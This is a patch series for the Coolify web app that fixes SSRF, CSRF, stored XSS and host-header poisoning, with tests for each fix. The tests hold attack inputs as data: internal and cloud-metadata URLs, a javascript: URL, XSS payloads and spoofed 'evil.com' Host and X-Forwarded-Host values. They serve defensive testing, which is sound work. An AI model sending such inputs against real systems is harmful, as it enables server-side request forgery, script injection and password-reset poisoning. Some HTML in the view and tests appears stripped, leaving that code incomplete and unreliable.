SafeExternalUrl], 'custom_user' => 'required|string', 'custom_port' => 'required|int', 'is_system_wide' => 'required|bool', diff --git a/app/Rules/SafeExternalUrl.php b/app/Rules/SafeExternalUrl.php new file mode 100644 index 000000000..41299d6c1 --- /dev/null +++ b/app/Rules/SafeExternalUrl.php @@ -0,0 +1,81 @@ + $attribute, + 'url' => $value, + 'host' => $host, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to internal hosts.'); + + return; + } + + // Resolve hostname to IP and block private/reserved ranges + $ip = gethostbyname($host); + + // gethostbyname returns the original hostname on failure (e.g. unresolvable) + if ($ip === $host && ! filter_var($host, FILTER_VALIDATE_IP)) { + $fail('The :attribute host could not be resolved.'); + + return; + } + + if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + Log::warning('External URL resolves to private or reserved IP', [ + 'attribute' => $attribute, + 'url' => $value, + 'host' => $host, + 'resolved_ip' => $ip, + 'ip' => request()->ip(), + 'user_id' => auth()->id(), + ]); + $fail('The :attribute must not point to a private or reserved IP address.'); + + return; + } + } +} diff --git a/tests/Unit/SafeExternalUrlTest.php b/tests/Unit/SafeExternalUrlTest.php new file mode 100644 index 000000000..b2bc13337 --- /dev/null +++ b/tests/Unit/SafeExternalUrlTest.php @@ -0,0 +1,75 @@ + $url], ['url' => $rule]); + expect($validator->passes())->toBeTrue("Expected valid: {$url}"); + } +}); + +it('rejects private IPv4 addresses', function (string $url) { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'loopback' => 'http://127.0.0.1', + 'loopback with port' => 'http://127.0.0.1:6379', + '10.x range' => 'http://10.0.0.1', + '172.16.x range' => 'http://172.16.0.1', + '192.168.x range' => 'http://192.168.1.1', +]); + +it('rejects cloud metadata IP', function () { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP'); +}); + +it('rejects localhost and internal hostnames', function (string $url) { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'localhost' => 'http://localhost', + 'localhost with port' => 'http://localhost:8080', + 'zero address' => 'http://0.0.0.0', + '.local domain' => 'http://myservice.local', + '.internal domain' => 'http://myservice.internal', +]); + +it('rejects non-URL strings', function (string $value) { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => $value], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$value}"); +})->with([ + 'plain string' => 'not-a-url', + 'ftp scheme' => 'ftp://example.com', + 'javascript scheme' => 'javascript:alert(1)', + 'no scheme' => 'example.com', +]); + +it('rejects URLs with IPv6 loopback', function () { + $rule = new SafeExternalUrl; + + $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback'); +}); From 25d424c743d5134d4a005a6d8f754bb3235b632c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 14:30:27 +0100 Subject: [PATCH 34/95] refactor: split invitation endpoint into GET (show) and POST (accept) Refactor the invitation acceptance flow to use a landing page pattern: - GET shows invitation details (team name, role, confirmation button) - POST processes the acceptance with proper form submission - Remove unused revoke GET route (handled by Livewire component) - Add Blade view for the invitation landing page - Add feature tests for the new invitation flow Co-Authored-By: Claude Opus 4.6 --- app/Http/Controllers/Controller.php | 62 ++++---- resources/views/invitation/accept.blade.php | 43 +++++ routes/web.php | 9 +- .../TeamInvitationCsrfProtectionTest.php | 147 ++++++++++++++++++ 4 files changed, 226 insertions(+), 35 deletions(-) create mode 100644 resources/views/invitation/accept.blade.php create mode 100644 tests/Feature/TeamInvitationCsrfProtectionTest.php diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php index 09007ad96..17d14296b 100644 --- a/app/Http/Controllers/Controller.php +++ b/app/Http/Controllers/Controller.php @@ -108,9 +108,31 @@ public function link() return redirect()->route('login')->with('error', 'Invalid credentials.'); } + public function showInvitation() + { + $invitationUuid = request()->route('uuid'); + $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail(); + $user = User::whereEmail($invitation->email)->firstOrFail(); + + if (Auth::id() !== $user->id) { + abort(400, 'You are not allowed to accept this invitation.'); + } + + if (! $invitation->isValid()) { + abort(400, 'Invitation expired.'); + } + + $alreadyMember = $user->teams()->where('team_id', $invitation->team->id)->exists(); + + return view('invitation.accept', [ + 'invitation' => $invitation, + 'team' => $invitation->team, + 'alreadyMember' => $alreadyMember, + ]); + } + public function acceptInvitation() { - $resetPassword = request()->query('reset-password'); $invitationUuid = request()->route('uuid'); $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail(); @@ -119,43 +141,21 @@ public function acceptInvitation() if (Auth::id() !== $user->id) { abort(400, 'You are not allowed to accept this invitation.'); } - $invitationValid = $invitation->isValid(); - if ($invitationValid) { - if ($resetPassword) { - $user->update([ - 'password' => Hash::make($invitationUuid), - 'force_password_reset' => true, - ]); - } - if ($user->teams()->where('team_id', $invitation->team->id)->exists()) { - $invitation->delete(); - - return redirect()->route('team.index'); - } - $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]); - $invitation->delete(); - - refreshSession($invitation->team); - - return redirect()->route('team.index'); - } else { + if (! $invitation->isValid()) { abort(400, 'Invitation expired.'); } - } - public function revokeInvitation() - { - $invitation = TeamInvitation::whereUuid(request()->route('uuid'))->firstOrFail(); - $user = User::whereEmail($invitation->email)->firstOrFail(); - if (is_null(Auth::user())) { - return redirect()->route('login'); - } - if (Auth::id() !== $user->id) { - abort(401); + if ($user->teams()->where('team_id', $invitation->team->id)->exists()) { + $invitation->delete(); + + return redirect()->route('team.index'); } + $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]); $invitation->delete(); + refreshSession($invitation->team); + return redirect()->route('team.index'); } } diff --git a/resources/views/invitation/accept.blade.php b/resources/views/invitation/accept.blade.php new file mode 100644 index 000000000..7e4773866 --- /dev/null +++ b/resources/views/invitation/accept.blade.php @@ -0,0 +1,43 @@ + +
+
+
+
+

+ Coolify +

+
+ +
+
+

Team Invitation

+ +

+ You have been invited to join: +

+

+ {{ $team->name }} +

+ +

+ Role: {{ ucfirst($invitation->role) }} +

+ + @if ($alreadyMember) +
+

You are already a member of this team.

+
+ @endif + +
+ @csrf + + {{ $alreadyMember ? 'Dismiss Invitation' : 'Accept Invitation' }} + +
+
+
+
+
+
+
diff --git a/routes/web.php b/routes/web.php index 4154fefab..dfb44324c 100644 --- a/routes/web.php +++ b/routes/web.php @@ -84,6 +84,7 @@ use App\Livewire\Team\Member\Index as TeamMemberIndex; use App\Livewire\Terminal\Index as TerminalIndex; use App\Models\ScheduledDatabaseBackupExecution; +use App\Models\ServiceDatabase; use App\Providers\RouteServiceProvider; use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Storage; @@ -192,8 +193,8 @@ })->name('terminal.auth.ips')->middleware('can.access.terminal'); Route::prefix('invitations')->group(function () { - Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept'); - Route::get('/{uuid}/revoke', [Controller::class, 'revokeInvitation'])->name('team.invitation.revoke'); + Route::get('/{uuid}', [Controller::class, 'showInvitation'])->name('team.invitation.show'); + Route::post('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept'); }); Route::get('/projects', ProjectIndex::class)->name('project.index'); @@ -344,7 +345,7 @@ } } $filename = data_get($execution, 'filename'); - if ($execution->scheduledDatabaseBackup->database->getMorphClass() === \App\Models\ServiceDatabase::class) { + if ($execution->scheduledDatabaseBackup->database->getMorphClass() === ServiceDatabase::class) { $server = $execution->scheduledDatabaseBackup->database->service->destination->server; } else { $server = $execution->scheduledDatabaseBackup->database->destination->server; @@ -385,7 +386,7 @@ 'Content-Type' => 'application/octet-stream', 'Content-Disposition' => 'attachment; filename="'.basename($filename).'"', ]); - } catch (\Throwable $e) { + } catch (Throwable $e) { return response()->json(['message' => $e->getMessage()], 500); } })->name('download.backup'); diff --git a/tests/Feature/TeamInvitationCsrfProtectionTest.php b/tests/Feature/TeamInvitationCsrfProtectionTest.php new file mode 100644 index 000000000..1e911ed86 --- /dev/null +++ b/tests/Feature/TeamInvitationCsrfProtectionTest.php @@ -0,0 +1,147 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(['email' => 'invited@example.com']); + + $this->invitation = TeamInvitation::create([ + 'team_id' => $this->team->id, + 'uuid' => 'test-invitation-uuid', + 'email' => 'invited@example.com', + 'role' => 'member', + 'link' => url('/invitations/test-invitation-uuid'), + 'via' => 'link', + ]); +}); + +test('GET invitation shows landing page without accepting', function () { + $this->actingAs($this->user); + + $response = $this->get('/invitations/test-invitation-uuid'); + + $response->assertStatus(200); + $response->assertViewIs('invitation.accept'); + $response->assertSee($this->team->name); + $response->assertSee('Accept Invitation'); + + // Invitation should NOT be deleted (not accepted yet) + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); + + // User should NOT be added to the team + expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse(); +}); + +test('GET invitation with reset-password query param does not reset password', function () { + $this->actingAs($this->user); + $originalPassword = $this->user->password; + + $response = $this->get('/invitations/test-invitation-uuid?reset-password=1'); + + $response->assertStatus(200); + + // Password should NOT be changed + $this->user->refresh(); + expect($this->user->password)->toBe($originalPassword); + + // Invitation should NOT be accepted + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); +}); + +test('POST invitation accepts and adds user to team', function () { + $this->actingAs($this->user); + + $response = $this->post('/invitations/test-invitation-uuid'); + + $response->assertRedirect(route('team.index')); + + // Invitation should be deleted + $this->assertDatabaseMissing('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); + + // User should be added to the team + expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue(); +}); + +test('POST invitation without CSRF token is rejected', function () { + $this->actingAs($this->user); + + $response = $this->withoutMiddleware(EncryptCookies::class) + ->post('/invitations/test-invitation-uuid', [], [ + 'X-CSRF-TOKEN' => 'invalid-token', + ]); + + // Should be rejected with 419 (CSRF token mismatch) + $response->assertStatus(419); + + // Invitation should NOT be accepted + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); +}); + +test('unauthenticated user cannot view invitation', function () { + $response = $this->get('/invitations/test-invitation-uuid'); + + $response->assertRedirect(); +}); + +test('wrong user cannot view invitation', function () { + $otherUser = User::factory()->create(['email' => 'other@example.com']); + $this->actingAs($otherUser); + + $response = $this->get('/invitations/test-invitation-uuid'); + + $response->assertStatus(400); +}); + +test('wrong user cannot accept invitation via POST', function () { + $otherUser = User::factory()->create(['email' => 'other@example.com']); + $this->actingAs($otherUser); + + $response = $this->post('/invitations/test-invitation-uuid'); + + $response->assertStatus(400); + + // Invitation should still exist + $this->assertDatabaseHas('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); +}); + +test('GET revoke route no longer exists', function () { + $this->actingAs($this->user); + + $response = $this->get('/invitations/test-invitation-uuid/revoke'); + + $response->assertStatus(404); +}); + +test('POST invitation for already-member user deletes invitation without duplicating', function () { + $this->user->teams()->attach($this->team->id, ['role' => 'member']); + $this->actingAs($this->user); + + $response = $this->post('/invitations/test-invitation-uuid'); + + $response->assertRedirect(route('team.index')); + + // Invitation should be deleted + $this->assertDatabaseMissing('team_invitations', [ + 'uuid' => 'test-invitation-uuid', + ]); + + // User should still have exactly one membership in this team + expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1); +}); From 103d5b6c0634644b8e1bc01bf8540480aef65d0a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 18:36:36 +0100 Subject: [PATCH 35/95] fix: sanitize error output in server validation logs Escape dynamic error messages with htmlspecialchars() before concatenating into HTML strings stored in validation_logs. Add a Purify-based mutator on Server model as defense-in-depth, with a dedicated HTMLPurifier config that allows only safe structural tags. Co-Authored-By: Claude Opus 4.6 --- app/Actions/Server/ValidateServer.php | 3 +- app/Jobs/ValidateAndInstallServerJob.php | 5 +- app/Livewire/Server/PrivateKey/Show.php | 3 +- app/Livewire/Server/ValidateAndInstall.php | 3 +- app/Models/Server.php | 7 ++ config/purify.php | 11 ++++ tests/Feature/ServerValidationXssTest.php | 75 ++++++++++++++++++++++ 7 files changed, 102 insertions(+), 5 deletions(-) create mode 100644 tests/Feature/ServerValidationXssTest.php diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php index 0a20deae5..22c48aa89 100644 --- a/app/Actions/Server/ValidateServer.php +++ b/app/Actions/Server/ValidateServer.php @@ -30,7 +30,8 @@ public function handle(Server $server) ]); ['uptime' => $this->uptime, 'error' => $error] = $server->validateConnection(); if (! $this->uptime) { - $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error.'
'; + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$sanitizedError.'
'; $server->update([ 'validation_logs' => $this->error, ]); diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php index 288904471..ee8cf2797 100644 --- a/app/Jobs/ValidateAndInstallServerJob.php +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -45,7 +45,8 @@ public function handle(): void // Validate connection ['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection(); if (! $uptime) { - $errorMessage = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error; + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $errorMessage = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$sanitizedError; $this->server->update([ 'validation_logs' => $errorMessage, 'is_validating' => false, @@ -197,7 +198,7 @@ public function handle(): void ]); $this->server->update([ - 'validation_logs' => 'An error occurred during validation: '.$e->getMessage(), + 'validation_logs' => 'An error occurred during validation: '.htmlspecialchars($e->getMessage(), ENT_QUOTES, 'UTF-8'), 'is_validating' => false, ]); } diff --git a/app/Livewire/Server/PrivateKey/Show.php b/app/Livewire/Server/PrivateKey/Show.php index fd55717fa..810b95ed4 100644 --- a/app/Livewire/Server/PrivateKey/Show.php +++ b/app/Livewire/Server/PrivateKey/Show.php @@ -63,7 +63,8 @@ public function checkConnection() $this->dispatch('success', 'Server is reachable.'); $this->dispatch('refreshServerShow'); } else { - $this->dispatch('error', 'Server is not reachable.

Check this documentation for further help.

Error: '.$error); + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $this->dispatch('error', 'Server is not reachable.

Check this documentation for further help.

Error: '.$sanitizedError); return; } diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index 198d823b9..59ca4cd36 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -89,7 +89,8 @@ public function validateConnection() $this->authorize('update', $this->server); ['uptime' => $this->uptime, 'error' => $error] = $this->server->validateConnection(); if (! $this->uptime) { - $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error.'
'; + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$sanitizedError.'
'; $this->server->update([ 'validation_logs' => $this->error, ]); diff --git a/app/Models/Server.php b/app/Models/Server.php index 9237763c8..00843b3da 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -269,6 +269,13 @@ public static function flushIdentityMap(): void use HasSafeStringAttribute; + public function setValidationLogsAttribute($value): void + { + $this->attributes['validation_logs'] = $value !== null + ? \Stevebauman\Purify\Facades\Purify::config('validation_logs')->clean($value) + : null; + } + public function type() { return 'server'; diff --git a/config/purify.php b/config/purify.php index 66dbbb568..a5dcabb92 100644 --- a/config/purify.php +++ b/config/purify.php @@ -49,6 +49,17 @@ 'AutoFormat.RemoveEmpty' => false, ], + 'validation_logs' => [ + 'Core.Encoding' => 'utf-8', + 'HTML.Doctype' => 'HTML 4.01 Transitional', + 'HTML.Allowed' => 'a[href|title|target|class],br,div[class],pre[class],span[class],p[class]', + 'HTML.ForbiddenElements' => '', + 'CSS.AllowedProperties' => '', + 'AutoFormat.AutoParagraph' => false, + 'AutoFormat.RemoveEmpty' => false, + 'Attr.AllowedFrameTargets' => ['_blank'], + ], + ], /* diff --git a/tests/Feature/ServerValidationXssTest.php b/tests/Feature/ServerValidationXssTest.php new file mode 100644 index 000000000..ba8e6fcae --- /dev/null +++ b/tests/Feature/ServerValidationXssTest.php @@ -0,0 +1,75 @@ +create(); + $this->team = Team::factory()->create(); + $user->teams()->attach($this->team); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('strips dangerous HTML from validation_logs via mutator', function () { + $xssPayload = ''; + $this->server->update(['validation_logs' => $xssPayload]); + $this->server->refresh(); + + expect($this->server->validation_logs)->not->toContain('and($this->server->validation_logs)->not->toContain('onerror'); +}); + +it('strips script tags from validation_logs', function () { + $xssPayload = ''; + $this->server->update(['validation_logs' => $xssPayload]); + $this->server->refresh(); + + expect($this->server->validation_logs)->not->toContain('server->update(['validation_logs' => $allowedHtml]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('Connection refused'); +}); + +it('allows null validation_logs', function () { + $this->server->update(['validation_logs' => null]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toBeNull(); +}); + +it('sanitizes XSS embedded within valid error HTML', function () { + $maliciousError = 'Server is not reachable.
Error:
'; + $this->server->update(['validation_logs' => $maliciousError]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('Error:') + ->and($this->server->validation_logs)->not->toContain('onerror') + ->and($this->server->validation_logs)->not->toContain('server->update(['validation_logs' => $payload]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toContain('and($this->server->validation_logs)->not->toContain('onmouseover'); +}); From e1d4b4682efc898ba5aa3751b2da2072f89c7e24 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 14:43:40 +0100 Subject: [PATCH 36/95] fix: harden TrustHosts middleware and use base_url() for password reset links MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Fix circular cache dependency in TrustHosts where handle() checked cache before hosts() could populate it, causing host validation to never activate - Validate both Host and X-Forwarded-Host headers against trusted hosts list (X-Forwarded-Host is checked before TrustProxies applies it to the request) - Use base_url() instead of url() for password reset link generation so the URL is derived from server-side config (FQDN / public IP) instead of the request context - Strip port from X-Forwarded-Host before matching (e.g. host:443 → host) - Add tests for host validation, cache population, and reset URL generation Co-Authored-By: Claude Opus 4.6 --- app/Http/Middleware/TrustHosts.php | 59 ++++++- .../TransactionalEmails/ResetPassword.php | 7 +- tests/Feature/ResetPasswordUrlTest.php | 123 +++++++++++++++ tests/Feature/TrustHostsMiddlewareTest.php | 145 ++++++++++++++++-- 4 files changed, 321 insertions(+), 13 deletions(-) create mode 100644 tests/Feature/ResetPasswordUrlTest.php diff --git a/app/Http/Middleware/TrustHosts.php b/app/Http/Middleware/TrustHosts.php index 5fca583d9..d44b6057a 100644 --- a/app/Http/Middleware/TrustHosts.php +++ b/app/Http/Middleware/TrustHosts.php @@ -30,14 +30,44 @@ public function handle(Request $request, $next) return $next($request); } + // Eagerly call hosts() to populate the cache (fixes circular dependency + // where handle() checked cache before hosts() could populate it via + // Cache::remember, causing host validation to never activate) + $this->hosts(); + // Skip host validation if no FQDN is configured (initial setup) $fqdnHost = Cache::get('instance_settings_fqdn_host'); if ($fqdnHost === '' || $fqdnHost === null) { return $next($request); } - // For all other routes, use parent's host validation - return parent::handle($request, $next); + // Validate the request host against trusted hosts explicitly. + // We check manually instead of relying on Symfony's lazy getHost() validation, + // which can be bypassed if getHost() was already called earlier in the pipeline. + $trustedHosts = array_filter($this->hosts()); + + // Collect all hosts to validate: the actual Host header, plus X-Forwarded-Host + // if present. We must check X-Forwarded-Host here because this middleware runs + // BEFORE TrustProxies, which would later apply X-Forwarded-Host to the request. + $hostsToValidate = [strtolower(trim($request->getHost()))]; + + $forwardedHost = $request->headers->get('X-Forwarded-Host'); + if ($forwardedHost) { + // X-Forwarded-Host can be a comma-separated list; validate the first (client-facing) value. + // Strip port if present (e.g. "coolify.example.com:443" → "coolify.example.com") + // to match the trusted hosts list which stores hostnames without ports. + $forwardedHostValue = strtolower(trim(explode(',', $forwardedHost)[0])); + $forwardedHostValue = preg_replace('/:\d+$/', '', $forwardedHostValue); + $hostsToValidate[] = $forwardedHostValue; + } + + foreach ($hostsToValidate as $hostToCheck) { + if (! $this->isHostTrusted($hostToCheck, $trustedHosts)) { + return response('Bad Host', 400); + } + } + + return $next($request); } /** @@ -100,4 +130,29 @@ public function hosts(): array return array_filter($trustedHosts); } + + /** + * Check if a host matches the trusted hosts list. + * + * Regex patterns (from allSubdomainsOfApplicationUrl, starting with ^) + * are matched with preg_match. Literal hostnames use exact comparison + * only — they are NOT passed to preg_match, which would treat unescaped + * dots as wildcards and match unanchored substrings. + * + * @param array $trustedHosts + */ + protected function isHostTrusted(string $host, array $trustedHosts): bool + { + foreach ($trustedHosts as $pattern) { + if (str_starts_with($pattern, '^')) { + if (@preg_match('{'.$pattern.'}i', $host)) { + return true; + } + } elseif ($host === $pattern) { + return true; + } + } + + return false; + } } diff --git a/app/Notifications/TransactionalEmails/ResetPassword.php b/app/Notifications/TransactionalEmails/ResetPassword.php index 179c8d948..511818e21 100644 --- a/app/Notifications/TransactionalEmails/ResetPassword.php +++ b/app/Notifications/TransactionalEmails/ResetPassword.php @@ -67,9 +67,12 @@ protected function resetUrl($notifiable) return call_user_func(static::$createUrlCallback, $notifiable, $this->token); } - return url(route('password.reset', [ + $path = route('password.reset', [ 'token' => $this->token, 'email' => $notifiable->getEmailForPasswordReset(), - ], false)); + ], false); + + // Use server-side config (FQDN / public IP) instead of request host + return rtrim(base_url(), '/').$path; } } diff --git a/tests/Feature/ResetPasswordUrlTest.php b/tests/Feature/ResetPasswordUrlTest.php new file mode 100644 index 000000000..03d1103f0 --- /dev/null +++ b/tests/Feature/ResetPasswordUrlTest.php @@ -0,0 +1,123 @@ +invoke($notification, $notifiable); +} + +it('generates reset URL using configured FQDN, not request host', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('test-token-abc', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + expect($url) + ->toStartWith('https://coolify.example.com/') + ->toContain('test-token-abc') + ->toContain(urlencode($user->email)) + ->not->toContain('localhost'); +}); + +it('generates reset URL using public IP when no FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('test-token-abc', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('65.21.3.91') + ->toContain('test-token-abc') + ->not->toContain('evil.com'); +}); + +it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + // Simulate a request with a spoofed X-Forwarded-Host header + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('poisoned-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toStartWith('https://coolify.example.com/') + ->toContain('poisoned-token') + ->not->toContain('evil.com'); +}); + +it('is immune to X-Forwarded-Host header poisoning when using IP only', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('poisoned-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('65.21.3.91') + ->toContain('poisoned-token') + ->not->toContain('evil.com'); +}); + +it('generates a valid route path in the reset URL', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('my-token', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + // Should contain the password reset route path with token and email + expect($url) + ->toContain('/reset-password/') + ->toContain('my-token') + ->toContain(urlencode($user->email)); +}); diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php index 5c60b30d6..a16698a6a 100644 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ b/tests/Feature/TrustHostsMiddlewareTest.php @@ -2,13 +2,16 @@ use App\Http\Middleware\TrustHosts; use App\Models\InstanceSettings; +use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Cache; +use Illuminate\Support\Once; -uses(\Illuminate\Foundation\Testing\RefreshDatabase::class); +uses(RefreshDatabase::class); beforeEach(function () { - // Clear cache before each test to ensure isolation + // Clear cache and once() memoization to ensure isolation between tests Cache::forget('instance_settings_fqdn_host'); + Once::flush(); }); it('trusts the configured FQDN from InstanceSettings', function () { @@ -84,7 +87,7 @@ it('handles exception during InstanceSettings fetch', function () { // Drop the instance_settings table to simulate installation - \Schema::dropIfExists('instance_settings'); + Schema::dropIfExists('instance_settings'); $middleware = new TrustHosts($this->app); @@ -248,21 +251,144 @@ expect($response->status())->not->toBe(400); }); +it('populates cache on first request via handle() — no circular dependency', function () { + // Regression test: handle() used to check cache before hosts() could + // populate it, so host validation never activated. + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // Clear cache to simulate cold start + Cache::forget('instance_settings_fqdn_host'); + + // Make a request — handle() should eagerly call hosts() to populate cache + $this->get('/', ['Host' => 'localhost']); + + // Cache should now be populated by the middleware + expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com'); +}); + +it('rejects host that is a superstring of trusted FQDN via suffix', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // coolify.example.com.evil.com contains "coolify.example.com" as a substring — + // must NOT match. Literal hosts use exact comparison, not regex substring matching. + $response = $this->get('http://coolify.example.com.evil.com/'); + + expect($response->status())->toBe(400); +}); + +it('rejects host that is a superstring of trusted FQDN via prefix', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // evil-coolify.example.com also contains the FQDN as a substring + $response = $this->get('http://evil-coolify.example.com/'); + + expect($response->status())->toBe(400); +}); + +it('rejects X-Forwarded-Host that is a superstring of trusted FQDN', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $response = $this->get('/', [ + 'X-Forwarded-Host' => 'coolify.example.com.evil.com', + ]); + + expect($response->status())->toBe(400); +}); + +it('rejects host containing localhost as substring', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // "evil-localhost" contains "localhost" — must not match the literal entry + $response = $this->get('http://evil-localhost/'); + + expect($response->status())->toBe(400); +}); + +it('allows subdomain of APP_URL via regex pattern', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // sub.localhost should match ^(.+\.)?localhost$ from allSubdomainsOfApplicationUrl + $response = $this->get('http://sub.localhost/'); + + expect($response->status())->not->toBe(400); +}); + it('still enforces host validation for non-terminal routes', function () { InstanceSettings::updateOrCreate( ['id' => 0], ['fqdn' => 'https://coolify.example.com'] ); - // Regular routes should still validate Host header - $response = $this->get('/', [ - 'Host' => 'evil.com', - ]); + // Use full URL so Laravel's test client doesn't override Host with APP_URL + $response = $this->get('http://evil.com/'); // Should get 400 Bad Host for untrusted host expect($response->status())->toBe(400); }); +it('rejects requests with spoofed X-Forwarded-Host header', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // Host header is trusted (localhost), but X-Forwarded-Host is spoofed. + // TrustHosts must reject this BEFORE TrustProxies can apply the spoofed host. + $response = $this->get('/', [ + 'X-Forwarded-Host' => 'evil.com', + ]); + + expect($response->status())->toBe(400); +}); + +it('allows legitimate X-Forwarded-Host from reverse proxy matching configured FQDN', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + // Legitimate request from Cloudflare/Traefik — X-Forwarded-Host matches the configured FQDN + $response = $this->get('/', [ + 'X-Forwarded-Host' => 'coolify.example.com', + ]); + 